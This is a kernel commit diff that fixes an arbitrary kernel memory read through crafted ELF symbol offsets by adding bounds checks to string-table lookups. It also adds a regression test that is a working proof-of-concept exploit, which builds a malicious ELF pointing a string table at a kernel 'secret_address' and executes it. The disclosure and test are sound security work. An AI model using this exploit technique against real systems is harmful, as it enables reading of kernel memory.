Kernel+LibELF: Don't blindly trust ELF symbol offsets in symbolication

It was possible to craft a custom ELF executable that when symbolicated
would cause the kernel to read from user-controlled addresses anywhere
in memory. You could then fetch this memory via /proc/PID/stack

We fix this by making ELFImage hand out StringView rather than raw
const char* for symbol names. In case a symbol offset is outside the
ELF image, you get a null StringView. :^)

Test: Kernel/elf-symbolication-kernel-read-exploit.cpp

AK/Demangle.h

@@ -5,11 +5,11 @@
 
 namespace AK {
 
-inline String demangle(const char* name)
+inline String demangle(const StringView& name)
 {
 #ifdef KERNEL
     int status = 0;
-    auto* demangled_name = abi::__cxa_demangle(name, nullptr, nullptr, &status);
+    auto* demangled_name = abi::__cxa_demangle(String(name).characters(), nullptr, nullptr, &status);
     auto string = String(status == 0 ? demangled_name : name);
     if (status == 0)
         kfree(demangled_name);

Kernel/KSyms.cpp

@@ -20,10 +20,10 @@ static u8 parse_hex_digit(char nibble)
     return 10 + (nibble - 'a');
 }
 
-u32 address_for_kernel_symbol(const char* name)
+u32 address_for_kernel_symbol(const StringView& name)
 {
     for (unsigned i = 0; i < ksym_count; ++i) {
-        if (!strcmp(name, s_ksyms[i].name))
+        if (!strncmp(name.characters_without_null_termination(), s_ksyms[i].name, name.length()))
             return s_ksyms[i].address;
     }
     return 0;

Kernel/KSyms.h

@@ -8,7 +8,7 @@ struct KSym {
     const char* name;
 };
 
-u32 address_for_kernel_symbol(const char* name);
+u32 address_for_kernel_symbol(const StringView& name);
 const KSym* ksymbolicate(u32 address);
 void load_ksyms();
 

Kernel/Process.cpp

@@ -4278,11 +4278,11 @@ int Process::sys$module_load(const char* user_path, size_t path_length)
 
     elf_image->for_each_symbol([&](const ELFImage::Symbol& symbol) {
         dbg() << " - " << symbol.type() << " '" << symbol.name() << "' @ " << (void*)symbol.value() << ", size=" << symbol.size();
-        if (!strcmp(symbol.name(), "module_init")) {
+        if (symbol.name() == "module_init") {
             module->module_init = (ModuleInitPtr)(text_base + symbol.value());
-        } else if (!strcmp(symbol.name(), "module_fini")) {
+        } else if (symbol.name() == "module_fini") {
             module->module_fini = (ModuleFiniPtr)(text_base + symbol.value());
-        } else if (!strcmp(symbol.name(), "module_name")) {
+        } else if (symbol.name() == "module_name") {
             const u8* storage = section_storage_by_name.get(symbol.section().name()).value_or(nullptr);
             if (storage)
                 module->name = String((const char*)(storage + symbol.value()));

Libraries/LibELF/ELFImage.cpp

@@ -31,7 +31,7 @@ static const char* object_file_type_to_string(Elf32_Half type)
     }
 }
 
-const char* ELFImage::section_index_to_string(unsigned index) const
+StringView ELFImage::section_index_to_string(unsigned index) const
 {
     if (index == SHN_UNDEF)
         return "Undefined";
@@ -136,20 +136,29 @@ bool ELFImage::parse()
     return true;
 }
 
-const char* ELFImage::section_header_table_string(unsigned offset) const
+StringView ELFImage::table_string(unsigned table_index, unsigned offset) const
 {
-    auto& sh = section_header(header().e_shstrndx);
+    auto& sh = section_header(table_index);
     if (sh.sh_type != SHT_STRTAB)
         return nullptr;
-    return raw_data(sh.sh_offset + offset);
+    size_t computed_offset = sh.sh_offset + offset;
+    if (computed_offset >= m_size) {
+        dbgprintf("SHENANIGANS! ELFImage::table_string() computed offset outside image.\n");
+        return {};
+    }
+    size_t max_length = m_size - computed_offset;
+    size_t length = strnlen(raw_data(sh.sh_offset + offset), max_length);
+    return { raw_data(sh.sh_offset + offset), length };
 }
 
-const char* ELFImage::table_string(unsigned offset) const
+StringView ELFImage::section_header_table_string(unsigned offset) const
 {
-    auto& sh = section_header(m_string_table_section_index);
-    if (sh.sh_type != SHT_STRTAB)
-        return nullptr;
-    return raw_data(sh.sh_offset + offset);
+    return table_string(header().e_shstrndx, offset);
+}
+
+StringView ELFImage::table_string(unsigned offset) const
+{
+    return table_string(m_string_table_section_index, offset);
 }
 
 const char* ELFImage::raw_data(unsigned offset) const

Libraries/LibELF/ELFImage.h

@@ -39,7 +39,7 @@ public:
 
         ~Symbol() {}
 
-        const char* name() const { return m_image.table_string(m_sym.st_name); }
+        StringView name() const { return m_image.table_string(m_sym.st_name); }
         unsigned section_index() const { return m_sym.st_shndx; }
         unsigned value() const { return m_sym.st_value; }
         unsigned size() const { return m_sym.st_size; }
@@ -94,7 +94,7 @@ public:
         }
         ~Section() {}
 
-        const char* name() const { return m_image.section_header_table_string(m_section_header.sh_name); }
+        StringView name() const { return m_image.section_header_table_string(m_section_header.sh_name); }
         unsigned type() const { return m_section_header.sh_type; }
         unsigned offset() const { return m_section_header.sh_offset; }
         unsigned size() const { return m_section_header.sh_size; }
@@ -183,9 +183,10 @@ private:
     const Elf32_Ehdr& header() const;
     const Elf32_Shdr& section_header(unsigned) const;
     const Elf32_Phdr& program_header_internal(unsigned) const;
-    const char* table_string(unsigned offset) const;
-    const char* section_header_table_string(unsigned offset) const;
-    const char* section_index_to_string(unsigned index) const;
+    StringView table_string(unsigned offset) const;
+    StringView section_header_table_string(unsigned offset) const;
+    StringView section_index_to_string(unsigned index) const;
+    StringView table_string(unsigned table_index, unsigned offset) const;
 
     const u8* m_buffer { nullptr };
     size_t m_size { 0 };

Libraries/LibELF/ELFLoader.cpp

@@ -113,7 +113,7 @@ char* ELFLoader::symbol_ptr(const char* name)
     m_image.for_each_symbol([&](const ELFImage::Symbol symbol) {
         if (symbol.type() != STT_FUNC)
             return IterationDecision::Continue;
-        if (strcmp(symbol.name(), name))
+        if (symbol.name() == name)
             return IterationDecision::Continue;
         if (m_image.is_executable())
             found_ptr = (char*)(size_t)symbol.value();

Libraries/LibELF/ELFLoader.h

@@ -51,7 +51,7 @@ private:
 
     struct SortedSymbol {
         u32 address;
-        const char* name;
+        StringView name;
     };
 #ifdef KERNEL
     mutable OwnPtr<Region> m_sorted_symbols_region;

Tests/Kernel/elf-symbolication-kernel-read-exploit.cpp

@@ -0,0 +1,106 @@
+#include <LibELF/exec_elf.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+
+asm("haxcode:\n"
+    "1: jmp 1b\n"
+    "haxcode_end:\n");
+
+extern "C" void haxcode();
+extern "C" void haxcode_end();
+
+int main()
+{
+    char buffer[16384];
+
+    auto& header = *(Elf32_Ehdr*)buffer;
+    header.e_ident[EI_MAG0] = ELFMAG0;
+    header.e_ident[EI_MAG1] = ELFMAG1;
+    header.e_ident[EI_MAG2] = ELFMAG2;
+    header.e_ident[EI_MAG3] = ELFMAG3;
+    header.e_ident[EI_CLASS] = ELFCLASS32;
+    header.e_ident[EI_DATA] = ELFDATA2LSB;
+    header.e_ident[EI_VERSION] = EV_CURRENT;
+    header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
+    header.e_ident[EI_ABIVERSION] = 0;
+    header.e_type = ET_EXEC;
+    header.e_version = EV_CURRENT;
+    header.e_ehsize = sizeof(Elf32_Ehdr);
+    header.e_machine = EM_386;
+    header.e_shentsize = sizeof(Elf32_Shdr);
+
+    header.e_phnum = 1;
+    header.e_phoff = 52;
+    header.e_phentsize = sizeof(Elf32_Phdr);
+
+    auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
+    ph[0].p_vaddr = 0x20000000;
+    ph[0].p_type = PT_LOAD;
+    ph[0].p_filesz = sizeof(buffer);
+    ph[0].p_memsz = sizeof(buffer);
+    ph[0].p_flags = PF_R | PF_X;
+    ph[0].p_align = PAGE_SIZE;
+
+    header.e_shnum = 3;
+    header.e_shoff = 1024;
+
+    u32 secret_address = 0x00184658;
+
+    auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
+    sh[0].sh_type = SHT_SYMTAB;
+    sh[0].sh_offset = 2048;
+    sh[0].sh_entsize = sizeof(Elf32_Sym);
+    sh[0].sh_size = 2 * sizeof(Elf32_Sym);
+
+    sh[1].sh_type = SHT_STRTAB;
+    sh[1].sh_offset = secret_address - 0x01001000;
+    sh[1].sh_entsize = 0;
+    sh[1].sh_size = 1024;
+
+    sh[2].sh_type = SHT_STRTAB;
+    sh[2].sh_offset = 4096;
+    sh[2].sh_entsize = 0;
+    sh[2].sh_size = 1024;
+    header.e_shstrndx = 2;
+
+    auto* sym = (Elf32_Sym*)(&buffer[2048]);
+    sym[0].st_value = 0x20002000;
+    sym[0].st_name = 0;
+
+    sym[1].st_value = 0x30000000;
+    sym[1].st_name = 0;
+
+    auto* strtab = (char*)&buffer[3072];
+    strcpy(strtab, "sneaky!");
+
+    auto* shstrtab = (char*)&buffer[4096];
+    strcpy(shstrtab, ".strtab");
+
+    auto* code = &buffer[8192];
+    size_t haxcode_size = (u32)haxcode_end - (u32)haxcode;
+    printf("memcpy(%p, %p, %zu)\n", code, haxcode, haxcode_size);
+    memcpy(code, (void*)haxcode, haxcode_size);
+
+    header.e_entry = 0x20000000 + 8192;
+
+    int fd = open("x", O_RDWR | O_CREAT, 0777);
+    if (fd < 0) {
+        perror("open");
+        return 1;
+    }
+
+    int nwritten = write(fd, buffer, sizeof(buffer));
+    if (nwritten < 0) {
+        perror("write");
+        return 1;
+    }
+
+    if (execl("/home/anon/x", "x", nullptr) < 0) {
+        perror("execl");
+        return 1;
+    }
+
+    return 0;
+}